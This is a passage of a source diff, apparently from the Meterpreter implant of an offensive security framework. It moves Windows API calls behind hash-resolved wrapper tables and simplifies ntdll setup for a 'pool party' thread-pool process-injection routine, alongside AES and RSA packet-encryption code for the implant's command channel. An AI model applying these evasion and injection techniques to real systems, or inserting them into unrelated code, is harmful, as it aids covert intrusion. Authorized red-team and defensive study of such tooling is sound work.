(f_NtOpenSection)GetProcAddress(ntdll, "NtOpenSection"); - lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose"); + lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddressH(ntdll, H_ZwMapViewOfSection); + lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddressH(ntdll, H_ZwQueryAttributesFile); + lNtOpenFile = (f_NtOpenFile)GetProcAddressH(ntdll, H_ZwOpenFile); + lNtCreateSection = (f_NtCreateSection)GetProcAddressH(ntdll, H_ZwCreateSection); + lNtOpenSection = (f_NtOpenSection)GetProcAddressH(ntdll, H_ZwOpenSection); + lNtClose = (f_NtClose)GetProcAddressH(ntdll, H_ZwClose); /* NtMapViewOfSection */ restore_function(ctx, (DWORD_PTR)lNtMapViewOfSection, @@ -535,23 +536,14 @@ void map_file(SHELLCODE_CTX *ctx) /* Lock the mapping in memory */ { - ULONG (_stdcall *NtLockVirtualMemory)(HANDLE, PVOID *, PULONG, ULONG); - - NtLockVirtualMemory = (ULONG (_stdcall *)(HANDLE, PVOID *, PULONG, ULONG))GetProcAddress( - GetModuleHandleA("ntdll"), - "NtLockVirtualMemory"); - - if (NtLockVirtualMemory) - { - PVOID base = (PVOID)ctx->mapped_address; - ULONG sz = nt->OptionalHeader.SizeOfImage; - - NtLockVirtualMemory( - (HANDLE)-1, - &base, - &sz, - 1); - } + PVOID base = (PVOID)ctx->mapped_address; + ULONG sz = nt->OptionalHeader.SizeOfImage; + + met_api->win_api.ntdll.ZwLockVirtualMemory( + (HANDLE)-1, + &base, + &sz, + 1); } /* Write headers */ diff --git a/c/meterpreter/source/metsrv/metapi.c b/c/meterpreter/source/metsrv/metapi.c index 7111e4444..3f2068c0d 100644 --- a/c/meterpreter/source/metsrv/metapi.c +++ b/c/meterpreter/source/metsrv/metapi.c @@ -164,9 +164,22 @@ MetApi api_instance = { winapi_ntdll_ZwProtectVirtualMemory, winapi_ntdll_ZwQueryVirtualMemory, winapi_ntdll_ZwFreeVirtualMemory, - winapi_ntdll_NtQueueApcThread, - winapi_ntdll_NtOpenThread, - winapi_ntdll_RtlGetVersion + winapi_ntdll_ZwQueueApcThread, + winapi_ntdll_ZwOpenThread, + winapi_ntdll_RtlGetVersion, + winapi_ntdll_ZwQueryInformationProcess, + winapi_ntdll_ZwQueryObject, + winapi_ntdll_ZwQueryInformationWorkerFactory, + winapi_ntdll_ZwSetInformationWorkerFactory, + winapi_ntdll_ZwSetIoCompletion, + winapi_ntdll_RtlCreateUserThread, + winapi_ntdll_ZwMapViewOfSection, + winapi_ntdll_ZwCreateSection, + winapi_ntdll_ZwOpenSection, + winapi_ntdll_ZwOpenFile, + winapi_ntdll_ZwQueryAttributesFile, + winapi_ntdll_ZwClose, + winapi_ntdll_ZwLockVirtualMemory }, // kernel32 { @@ -205,7 +218,34 @@ MetApi api_instance = { winapi_kernel32_ReadFile, winapi_kernel32_CreateThread, winapi_kernel32_ResetEvent, - winapi_kernel32_SetThreadErrorMode + winapi_kernel32_SetThreadErrorMode, + winapi_kernel32_GetModuleHandleA, + winapi_kernel32_CreateFileW, + winapi_kernel32_CreateNamedPipeW, + winapi_kernel32_CreateEventA, + winapi_kernel32_CreateEventW, + winapi_kernel32_SetEvent, + winapi_kernel32_WaitForSingleObject, + winapi_kernel32_Sleep, + winapi_kernel32_GetProcessHeap, + winapi_kernel32_HeapAlloc, + winapi_kernel32_HeapFree, + winapi_kernel32_IsWow64Process, + winapi_kernel32_ProcessIdToSessionId, + winapi_kernel32_GetCurrentThreadId, + winapi_kernel32_HeapReAlloc, + winapi_kernel32_LocalAlloc, + winapi_kernel32_GetSystemTime, + winapi_kernel32_SystemTimeToFileTime, + winapi_kernel32_MultiByteToWideChar, + winapi_kernel32_WideCharToMultiByte, + winapi_kernel32_PeekNamedPipe, + winapi_kernel32_SetNamedPipeHandleState, + winapi_kernel32_ReleaseMutex, + winapi_kernel32_CreateMutexA, + winapi_kernel32_CreateMutexW, + winapi_kernel32_TerminateThread, + winapi_kernel32_lstrcmpW }, // advapi32 { @@ -227,18 +267,24 @@ MetApi api_instance = { winapi_advapi32_InitializeSecurityDescriptor, winapi_advapi32_SetSecurityDescriptorDacl, winapi_advapi32_SetSecurityDescriptorSacl, - winapi_advapi32_LookupPrivilegeValueW + winapi_advapi32_LookupPrivilegeValueW, + winapi_advapi32_CryptAcquireContextA, + winapi_advapi32_CryptAcquireContextW, + winapi_advapi32_AddMandatoryAce }, // crypt32 { winapi_crypt32_CryptDecodeObjectEx, winapi_crypt32_CryptImportPublicKeyInfo, - winapi_crypt32_CertGetCertificateContextProperty + winapi_crypt32_CertGetCertificateContextProperty, + winapi_crypt32_CryptBinaryToStringA, + winapi_crypt32_CryptStringToBinaryA }, // user32 { winapi_user32_GetUserObjectInformationA, - winapi_user32_GetThreadDesktop + winapi_user32_GetThreadDesktop, + winapi_user32_GetProcessWindowStation }, // ws2_32 { @@ -248,7 +294,21 @@ MetApi api_instance = { winapi_ws2_32_accept, winapi_ws2_32_setsockopt, winapi_ws2_32_recv, - winapi_ws2_32_WSADuplicateSocketA + winapi_ws2_32_WSADuplicateSocketA, + winapi_ws2_32_send, + winapi_ws2_32_bind, + winapi_ws2_32_listen, + winapi_ws2_32_closesocket, + winapi_ws2_32_select, + winapi_ws2_32_gethostbyname, + winapi_ws2_32_getaddrinfo, + winapi_ws2_32_freeaddrinfo, + winapi_ws2_32_htons, + winapi_ws2_32_htonl, + winapi_ws2_32_ntohl, + winapi_ws2_32_inet_addr, + winapi_ws2_32_WSAGetLastError, + winapi_ws2_32_inet_ntoa }, // wininet { @@ -260,7 +320,8 @@ MetApi api_instance = { winapi_wininet_HttpQueryInfoW, winapi_wininet_InternetReadFile, winapi_wininet_InternetCloseHandle, - winapi_wininet_InternetCrackUrlW + winapi_wininet_InternetCrackUrlW, + winapi_wininet_HttpQueryInfoA }, // rpcrt4 { @@ -279,7 +340,9 @@ MetApi api_instance = { winapi_winhttp_WinHttpQueryHeaders, winapi_winhttp_WinHttpReadData, winapi_winhttp_WinHttpQueryOption, - winapi_winhttp_WinHttpCrackUrl + winapi_winhttp_WinHttpCrackUrl, + winapi_winhttp_WinHttpCloseHandle, + winapi_winhttp_WinHttpWriteData } }, #ifdef DEBUGTRACE diff --git a/c/meterpreter/source/metsrv/metsrv.c b/c/meterpreter/source/metsrv/metsrv.c index 3dbb3f531..edd69f163 100644 --- a/c/meterpreter/source/metsrv/metsrv.c +++ b/c/meterpreter/source/metsrv/metsrv.c @@ -31,7 +31,7 @@ DWORD Init(MetsrvConfig* config) // decode as it might be xor'd xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); - UINT configLength = ntohl(header.length) - sizeof(TlvHeader); + UINT configLength = met_api->win_api.ws2_32.ntohl(header.length) - sizeof(TlvHeader); UINT configBlockSize = sizeof(PacketHeader) + configLength; dprintf("[METSRV] Config length is %u 0x%08x", configLength, configLength); dprintf("[METSRV] Config block size is %u 0x%08x", configBlockSize, configBlockSize); @@ -73,10 +73,8 @@ DWORD Init(MetsrvConfig* config) case EXITFUNC_THREAD: ExitThread(0); break; - case EXITFUNC_PROCESS: - ExitProcess(0); - break; default: + ExitProcess(0); break; } return result; @@ -117,8 +115,8 @@ int current_unix_timestamp(void) { FILETIME file_time; ULARGE_INTEGER ularge; - GetSystemTime(&system_time); - SystemTimeToFileTime(&system_time, &file_time); + met_api->win_api.kernel32.GetSystemTime(&system_time); + met_api->win_api.kernel32.SystemTimeToFileTime(&system_time, &file_time); ularge.LowPart = file_time.dwLowDateTime; ularge.HighPart = file_time.dwHighDateTime; @@ -129,16 +127,16 @@ int current_unix_timestamp(void) { * @brief Sleep for the given number of seconds. * @param seconds DWORD value representing the number of seconds to sleep. * @remark This was implemented so that extended sleep times can be used (beyond the - * 49 day limit imposed by Sleep()). + * 49 day limit imposed by met_api->win_api.kernel32.Sleep()). */ VOID sleep(DWORD seconds) { while (seconds > SLEEP_MAX_SEC) { - Sleep(SLEEP_MAX_SEC * 1000); + met_api->win_api.kernel32.Sleep(SLEEP_MAX_SEC * 1000); seconds -= SLEEP_MAX_SEC; } - Sleep(seconds * 1000); + met_api->win_api.kernel32.Sleep(seconds * 1000); } VOID xor_bytes(BYTE xorKey[4], LPBYTE buffer, DWORD bufferSize) diff --git a/c/meterpreter/source/metsrv/packet_encryption.c b/c/meterpreter/source/metsrv/packet_encryption.c index 1dd2f0c61..6b697b783 100644 --- a/c/meterpreter/source/metsrv/packet_encryption.c +++ b/c/meterpreter/source/metsrv/packet_encryption.c @@ -2,6 +2,15 @@ #include "remote.h" #include "packet_encryption.h" +// The provider name strings below (MS_ENH_RSA_AES_PROV, MS_ENHANCED_PROV) are +// TCHAR — LPCWSTR under UNICODE (MSVC vcxproj build), LPCSTR under the mingw +// docker build. Route through the matching A/W wrapper so both toolchains build. +#ifdef UNICODE +#define WINAPI_CryptAcquireContext_TCHAR met_api->win_api.advapi32.CryptAcquireContextW +#else +#define WINAPI_CryptAcquireContext_TCHAR met_api->win_api.advapi32.CryptAcquireContextA +#endif + typedef struct _CryptProviderParams { const TCHAR* provider; @@ -60,7 +69,7 @@ DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD buffe break; } - DWORD encFlags = ntohl(header->enc_flags); + DWORD encFlags = met_api->win_api.ws2_32.ntohl(header->enc_flags); vdprintf("[DEC] Encryption flags set to %x", encFlags); // Only decrypt if the context was set up correctly @@ -76,13 +85,13 @@ DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD buffe iv[0], iv[1], iv[2], iv[3], iv[4], iv[5], iv[6], iv[7], iv[8], iv[9], iv[10], iv[11], iv[12], iv[13], iv[14], iv[15]); // the rest of the payload bytes contains the actual encrypted data - DWORD encryptedSize = ntohl(header->length) - sizeof(TlvHeader) - AES256_BLOCKSIZE; + DWORD encryptedSize = met_api->win_api.ws2_32.ntohl(header->length) - sizeof(TlvHeader) - AES256_BLOCKSIZE; LPBYTE encryptedData = payload + AES256_BLOCKSIZE; vdprintf("[DEC] Encrypted Size: %u (%x)", encryptedSize, encryptedSize); vdprintf("[DEC] Encrypted Size mod AES256_BLOCKSIZE: %u", encryptedSize % AES256_BLOCKSIZE); - if (!CryptDuplicateKey(remote->enc_ctx->aes_key, NULL, 0, &dupKey)) + if (!met_api->win_api.advapi32.CryptDuplicateKey(remote->enc_ctx->aes_key, NULL, 0, &dupKey)) { result = GetLastError(); vdprintf("[DEC] Failed to duplicate key: %d (%x)", result, result); @@ -90,7 +99,7 @@ DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD buffe } DWORD mode = CRYPT_MODE_CBC; - if (!CryptSetKeyParam(dupKey, KP_MODE, (const BYTE*)&mode, 0)) + if (!met_api->win_api.advapi32.CryptSetKeyParam(dupKey, KP_MODE, (const BYTE*)&mode, 0)) { result = GetLastError(); dprintf("[ENC] Failed to set mode to CBC: %d (%x)", result, result); @@ -98,14 +107,14 @@ DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD buffe } // decrypt! - if (!CryptSetKeyParam(dupKey, KP_IV, iv, 0)) + if (!met_api->win_api.advapi32.CryptSetKeyParam(dupKey, KP_IV, iv, 0)) { result = GetLastError(); vdprintf("[DEC] Failed to set IV: %d (%x)", result, result); break; } - if (!CryptDecrypt(dupKey, 0, TRUE, 0, encryptedData, &encryptedSize)) + if (!met_api->win_api.advapi32.CryptDecrypt(dupKey, 0, TRUE, 0, encryptedData, &encryptedSize)) { result = GetLastError(); vdprintf("[DEC] Failed to decrypt: %d (%x)", result, result); @@ -117,17 +126,17 @@ DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD buffe memmove_s(iv, encryptedSize, encryptedData, encryptedSize); // adjust the header size - header->length = htonl(encryptedSize + sizeof(TlvHeader)); + header->length = met_api->win_api.ws2_32.htonl(encryptedSize + sizeof(TlvHeader)); // done, the packet parsing can continue as normal now } localPacket->header.length = header->length; localPacket->header.type = header->type; - localPacket->payloadLength = ntohl(localPacket->header.length) - sizeof(TlvHeader); + localPacket->payloadLength = met_api->win_api.ws2_32.ntohl(localPacket->header.length) - sizeof(TlvHeader); vdprintf("[DEC] Actual payload Length: %d", localPacket->payloadLength); - vdprintf("[DEC] Header Type: %d", ntohl(localPacket->header.type)); + vdprintf("[DEC] Header Type: %d", met_api->win_api.ws2_32.ntohl(localPacket->header.type)); localPacket->payload = malloc(localPacket->payloadLength); if (localPacket->payload == NULL) @@ -144,7 +153,7 @@ DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD buffe h = localPacket->payload; vdprintf("[DEC] TLV 1 length / type: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7]); - DWORD tl = ntohl(((TlvHeader*)h)->length); + DWORD tl = met_api->win_api.ws2_32.ntohl(((TlvHeader*)h)->length); vdprintf("[DEC] Skipping %u bytes", tl); h += tl; vdprintf("[DEC] TLV 2 length / type: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", @@ -164,7 +173,7 @@ DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD buffe } if (dupKey != 0) { - CryptDestroyKey(dupKey); + met_api->win_api.advapi32.CryptDestroyKey(dupKey); } return result; @@ -184,7 +193,7 @@ DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD buf memcpy_s(packet->header.session_guid, sizeof(packet->header.session_guid), remote->session_guid, sizeof(remote->session_guid)); // Only encrypt if the context was set up correctly and it's not a config packet - if (ntohl(packet->header.type) == PACKET_TLV_TYPE_CONFIG) + if (met_api->win_api.ws2_32.ntohl(packet->header.type) == PACKET_TLV_TYPE_CONFIG) { vdprintf("[ENC] Config packet found, no encryption will be performed"); } @@ -198,7 +207,7 @@ DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD buf { vdprintf("[ENC] Context is enabled, doing the AES encryption"); - if (!CryptDuplicateKey(remote->enc_ctx->aes_key, NULL, 0, &dupKey)) + if (!met_api->win_api.advapi32.CryptDuplicateKey(remote->enc_ctx->aes_key, NULL, 0, &dupKey)) { result = GetLastError(); vdprintf("[ENC] Failed to duplicate AES key: %d (%x)", result, result); @@ -206,7 +215,7 @@ DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD buf } DWORD mode = CRYPT_MODE_CBC; - if (!CryptSetKeyParam(dupKey, KP_MODE, (const BYTE*)&mode, 0)) + if (!met_api->win_api.advapi32.CryptSetKeyParam(dupKey, KP_MODE, (const BYTE*)&mode, 0)) { result = GetLastError(); dprintf("[ENC] Failed to set mode to CBC: %d (%x)", result, result); @@ -214,7 +223,7 @@ DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD buf } BYTE iv[AES256_BLOCKSIZE]; - if (!CryptGenRandom(remote->enc_ctx->provider, sizeof(iv), iv)) + if (!met_api->win_api.advapi32.CryptGenRandom(remote->enc_ctx->provider, sizeof(iv), iv)) { result = GetLastError(); vdprintf("[ENC] Failed to generate random IV: %d (%x)", result, result); @@ -224,7 +233,7 @@ DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD buf iv[0], iv[1], iv[2], iv[3], iv[4], iv[5], iv[6], iv[7], iv[8], iv[9], iv[10], iv[11], iv[12], iv[13], iv[14], iv[15]); - if (!CryptSetKeyParam(dupKey, KP_IV, iv, 0)) + if (!met_api->win_api.advapi32.CryptSetKeyParam(dupKey, KP_IV, iv, 0)) { result = GetLastError(); vdprintf("[ENC] Failed to set IV: %d (%x)", result, result); @@ -233,7 +242,7 @@ DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD buf vdprintf("[ENC] IV Set successfully"); // mark this packet as an encrypted packet - packet->header.enc_flags = htonl(ENC_FLAG_AES256); + packet->header.enc_flags = met_api->win_api.ws2_32.htonl(ENC_FLAG_AES256); // Round up @@ -251,7 +260,7 @@ DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD buf // prepare the payload memcpy_s(payloadPos, packet->payloadLength, packet->payload, packet->payloadLength); - if (!CryptEncrypt(dupKey, 0, TRUE, 0, payloadPos, bufferSize, maxEncryptSize)) + if (!met_api->win_api.advapi32.CryptEncrypt(dupKey, 0, TRUE, 0, payloadPos, bufferSize, maxEncryptSize)) { result = GetLastError(); vdprintf("[ENC] Failed to encrypt: %d (%x)", result, result); @@ -262,7 +271,7 @@ DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD buf } // update the length to match the size of the encrypted data with IV and the TlVHeader - packet->header.length = ntohl(*bufferSize + sizeof(iv) + sizeof(TlvHeader)); + packet->header.length = met_api->win_api.ws2_32.ntohl(*bufferSize + sizeof(iv) + sizeof(TlvHeader)); // update the returned total size to include both the IV and header size. *bufferSize += sizeof(iv) + sizeof(packet->header); @@ -297,7 +306,7 @@ DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD buf BYTE* payloadPos = headerPos + sizeof(packet->header); // mark this packet as a non-encrypted packet - packet->header.enc_flags = htonl(ENC_FLAG_NONE); + packet->header.enc_flags = met_api->win_api.ws2_32.htonl(ENC_FLAG_NONE); memcpy_s(headerPos, sizeof(packet->header), &packet->header, sizeof(packet->header)); memcpy_s(payloadPos, packet->payloadLength, packet->payload, packet->payloadLength); @@ -320,7 +329,7 @@ DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD buf if (dupKey != 0) { - CryptDestroyKey(dupKey); + met_api->win_api.advapi32.CryptDestroyKey(dupKey); } return result; @@ -344,7 +353,7 @@ DWORD public_key_encrypt(BYTE* publicKeyDer, UINT publicKeyDerLen, BYTE* data, D } DWORD keyRequiredSize = 0; - if (!CryptDecodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO, publicKeyDer, publicKeyDerLen, CRYPT_ENCODE_ALLOC_FLAG, 0, &pubKeyInfo, &keyRequiredSize)) + if (!met_api->win_api.crypt32.CryptDecodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO, publicKeyDer, publicKeyDerLen, CRYPT_ENCODE_ALLOC_FLAG, 0, &pubKeyInfo, &keyRequiredSize)) { result = GetLastError(); dprintf("[ENC] Failed to decode: %u (%x)", result, result); @@ -353,10 +362,10 @@ DWORD public_key_encrypt(BYTE* publicKeyDer, UINT publicKeyDerLen, BYTE* data, D dprintf("[ENC] Key algo: %s", pubKeyInfo->Algorithm.pszObjId); - if (!CryptAcquireContext(&rsaProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + if (!WINAPI_CryptAcquireContext_TCHAR(&rsaProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { dprintf("[ENC] Failed to create the RSA provider with CRYPT_VERIFYCONTEXT"); - if (!CryptAcquireContext(&rsaProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_NEWKEYSET)) + if (!WINAPI_CryptAcquireContext_TCHAR(&rsaProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_NEWKEYSET)) { result = GetLastError(); dprintf("[ENC] Failed to create the RSA provider with CRYPT_NEWKEYSET: %u (%x)", result, result); @@ -372,7 +381,7 @@ DWORD public_key_encrypt(BYTE* publicKeyDer, UINT publicKeyDerLen, BYTE* data, D dprintf("[ENC] Created the RSA provider with CRYPT_VERIFYCONTEXT"); } - if (!CryptImportPublicKeyInfo(rsaProv, X509_ASN_ENCODING, pubKeyInfo, &pubCryptKey)) + if (!met_api->win_api.crypt32.CryptImportPublicKeyInfo(rsaProv, X509_ASN_ENCODING, pubKeyInfo, &pubCryptKey)) { result = GetLastError(); dprintf("[ENC] Failed to import the key: %u (%x)", result, result); @@ -380,7 +389,7 @@ DWORD public_key_encrypt(BYTE* publicKeyDer, UINT publicKeyDerLen, BYTE* data, D } DWORD requiredEncSize = dataLength; - CryptEncrypt(pubCryptKey, 0, TRUE, 0, NULL, &requiredEncSize, requiredEncSize); + met_api->win_api.advapi32.CryptEncrypt(pubCryptKey, 0, TRUE, 0, NULL, &requiredEncSize, requiredEncSize); dprintf("[ENC] Encrypted data length: %u (%x)", requiredEncSize, requiredEncSize); cipherText = (LPBYTE)calloc(1, requiredEncSize); @@ -392,7 +401,7 @@ DWORD public_key_encrypt(BYTE* publicKeyDer, UINT publicKeyDerLen, BYTE* data, D memcpy_s(cipherText, requiredEncSize, data, dataLength); - if (!CryptEncrypt(pubCryptKey, 0, TRUE, 0, cipherText, &dataLength, requiredEncSize)) + if (!met_api->win_api.advapi32.CryptEncrypt(pubCryptKey, 0, TRUE, 0, cipherText, &dataLength, requiredEncSize)) { result = GetLastError(); dprintf("[ENC] Failed to encrypt: %u (%x)", result, result); @@ -429,12 +438,12 @@ DWORD public_key_encrypt(BYTE* publicKeyDer, UINT publicKeyDerLen, BYTE* data, D if (pubCryptKey != 0) { - CryptDestroyKey(pubCryptKey); + met_api->win_api.advapi32.CryptDestroyKey(pubCryptKey); } if (rsaProv != 0) { - CryptReleaseContext(rsaProv, 0); + met_api->win_api.advapi32.CryptReleaseContext(rsaProv, 0); } return result; @@ -450,13 +459,13 @@ DWORD free_encryption_context(Remote* remote) dprintf("[ENC] Encryption context not null, so ditching AES key %ul", remote->enc_ctx->aes_key); if (remote->enc_ctx->aes_key != 0) { - CryptDestroyKey(remote->enc_ctx->aes_key); + met_api->win_api.advapi32.CryptDestroyKey(remote->enc_ctx->aes_key); } dprintf("[ENC] Encryption context not null, so ditching provider"); if (remote->enc_ctx->provider != 0) { - CryptReleaseContext(remote->enc_ctx->provider, 0); + met_api->win_api.advapi32.CryptReleaseContext(remote->enc_ctx->provider, 0); } dprintf("[ENC] Encryption context not null, so freeing the context"); @@ -490,7 +499,7 @@ DWORD create_enc_ctx_from_key(Remote* remote, LPBYTE key, DWORD keySize) for (int i = 0; i < _countof(AesProviders); ++i) { - if (!CryptAcquireContext(&ctx->provider, NULL, AesProviders[i].provider, AesProviders[i].type, AesProviders[i].flags)) + if (!WINAPI_CryptAcquireContext_TCHAR(&ctx->provider, NULL, AesProviders[i].provider, AesProviders[i].type, AesProviders[i].flags)) { result = GetLastError(); dprintf("[ENC] failed to acquire the crypt context %d: %d (%x)", i, result, result); @@ -515,7 +524,7 @@ DWORD create_enc_ctx_from_key(Remote* remote, LPBYTE key, DWORD keySize) ctx->key_data.length = keySize; memcpy_s(ctx->key_data.key, sizeof(ctx->key_data.key), key, keySize); - if (!CryptImportKey(ctx->provider, (const BYTE*)&ctx->key_data, sizeof(Aes256Key), 0, 0, &ctx->aes_key)) + if (!met_api->win_api.advapi32.CryptImportKey(ctx->provider, (const BYTE*)&ctx->key_data, sizeof(Aes256Key), 0, 0, &ctx->aes_key)) { result = GetLastError(); dprintf("[ENC] failed to import random key: %d (%x)", result, result); @@ -553,7 +562,7 @@ DWORD request_negotiate_aes_key(Remote* remote, Packet* packet) for (int i = 0; i < _countof(AesProviders); ++i) { - if (!CryptAcquireContext(&ctx->provider, NULL, AesProviders[i].provider, AesProviders[i].type, AesProviders[i].flags)) + if (!WINAPI_CryptAcquireContext_TCHAR(&ctx->provider, NULL, AesProviders[i].provider, AesProviders[i].type, AesProviders[i].flags)) { result = GetLastError(); dprintf("[ENC] failed to acquire the crypt context %d: %d (%x)", i, result, result); @@ -577,14 +586,14 @@ DWORD request_negotiate_aes_key(Remote* remote, Packet* packet) ctx->key_data.header.aiKeyAlg = CALG_AES_256; ctx->key_data.length = sizeof(ctx->key_data.key); - if (!CryptGenRandom(ctx->provider, ctx->key_data.length, ctx->key_data.key)) + if (!met_api->win_api.advapi32.CryptGenRandom(ctx->provider, ctx->key_data.length, ctx->key_data.key)) { result = GetLastError(); dprintf("[ENC] failed to generate random key: %d (%x)", result, result); break; } - if (!CryptImportKey(ctx->provider, (const BYTE*)&ctx->key_data, sizeof(Aes256Key), 0, 0, &ctx->aes_key)) + if (!met_api->win_api.advapi32.CryptImportKey(ctx->provider, (const BYTE*)&ctx->key_data, sizeof(Aes256Key), 0, 0, &ctx->aes_key)) { result = GetLastError(); dprintf("[ENC] failed to import random key: %d (%x)", result, result); diff --git a/c/meterpreter/source/metsrv/pool_party.c b/c/meterpreter/source/metsrv/pool_party.c index 0244df229..4fd22f9f4 100644 --- a/c/meterpreter/source/metsrv/pool_party.c +++ b/c/meterpreter/source/metsrv/pool_party.c @@ -10,98 +10,38 @@ NtDll* pNtDll = NULL; POOLPARTY_INJECTOR* poolLifeguard = NULL; +// Sentinel to signal "ntdll init done". We no longer resolve individual function +// pointers here — every ntdll call goes through met_api->win_api.ntdll.Zw* which +// hash-resolves the export at call time. Availability is assumed on Win10+ (the +// gate enforced by supports_poolparty_injection below). NtDll* GetOrInitNtDll() { - BOOL bError = FALSE; - HANDLE hHeap = GetProcessHeap(); - - do { - if (pNtDll != NULL || hHeap == NULL) { - break; - } - - pNtDll = (NtDll*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(NtDll)); - if (!pNtDll) { - break; - } - - HMODULE hNtDll = NULL; - hNtDll = GetModuleHandleA("ntdll.dll"); - if (!hNtDll) { - hNtDll = LoadLibraryA("ntdll.dll"); - bError = hNtDll == NULL; - if (bError) { - break; - } - } - - pNtDll->pNtQueryInformationProcess = (NTSTATUS(NTAPI*)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationProcess"); - pNtDll->pNtQueryObject = (NTSTATUS(NTAPI*)(HANDLE, OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryObject"); - - if (pNtDll->pNtQueryInformationProcess == NULL || pNtDll->pNtQueryObject == NULL) { - bError = TRUE; - break; - } - dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: %p NtQueryObject: %p", pNtDll->pNtQueryInformationProcess, pNtDll->pNtQueryObject); - - pNtDll->pZwSetIoCompletion = (NTSTATUS(NTAPI*)(HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR))GetProcAddress(hNtDll, "ZwSetIoCompletion"); - if (pNtDll->pZwSetIoCompletion != NULL) { - if (poolLifeguard != NULL) { - poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isSystemSupported = TRUE; - } - } - dprintf("[INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: %p", pNtDll->pZwSetIoCompletion); - - pNtDll->pNtQueryInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationWorkerFactory"); - pNtDll->pNtSetInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, WORKERFACTORYINFOCLASS, PVOID, ULONG))GetProcAddress(hNtDll, "NtSetInformationWorkerFactory"); - - if (pNtDll->pNtQueryInformationWorkerFactory == NULL || pNtDll->pNtSetInformationWorkerFactory == NULL) { - bError = TRUE; - break; - } - - dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationWorkerFactory = %p && NtSetInformationWorkerFactory = %p", pNtDll->pNtQueryInformationWorkerFactory, pNtDll->pNtSetInformationWorkerFactory); - if (poolLifeguard != NULL) { - poolLifeguard->variants[POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE].isSystemSupported = TRUE; - } + HANDLE hHeap = met_api->win_api.kernel32.GetProcessHeap(); + if (pNtDll != NULL || hHeap == NULL) { + return pNtDll; + } - // ntdll->pZwAssociateWaitCompletionPacket = (NTSTATUS(NTAPI*)(HANDLE, HANDLE, HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR, PBOOLEAN))GetProcAddress(hNtDll, "ZwAssociateWaitCompletionPacket"); - // if (ntdll->pZwAssociateWaitCompletionPacket != NULL) { - // if (poolLifeguard != NULL) { - // poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION].isSystemSupported = TRUE; - // } - // } - // dprintf("[INJECT][inject_via_poolparty][ntdll_init] ZwAssociateWaitCompletionPacket: %p", ntdll->pZwAssociateWaitCompletionPacket); - - // ntdll->pNtQueryInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationWorkerFactory"); // WIN 7 - // dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationWorkerFactory: %p", ntdll->pNtQueryInformationWorkerFactory); - - // ntdll->pNtSetInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG))GetProcAddress(hNtDll, "NtSetInformationWorkerFactory"); // WIN7 - // dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtSetInformationWorkerFactory: %p", ntdll->pNtSetInformationWorkerFactory); - - // if (ntdll->pNtQueryInformationWorkerFactory != NULL && ntdll->pNtSetInformationWorkerFactory != NULL) { - // if (poolLifeguard != NULL) { - // poolLifeguard->variants[POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE].isSystemSupported = TRUE; - // } - // } - } while (0); + pNtDll = (NtDll*)met_api->win_api.kernel32.HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(NtDll)); 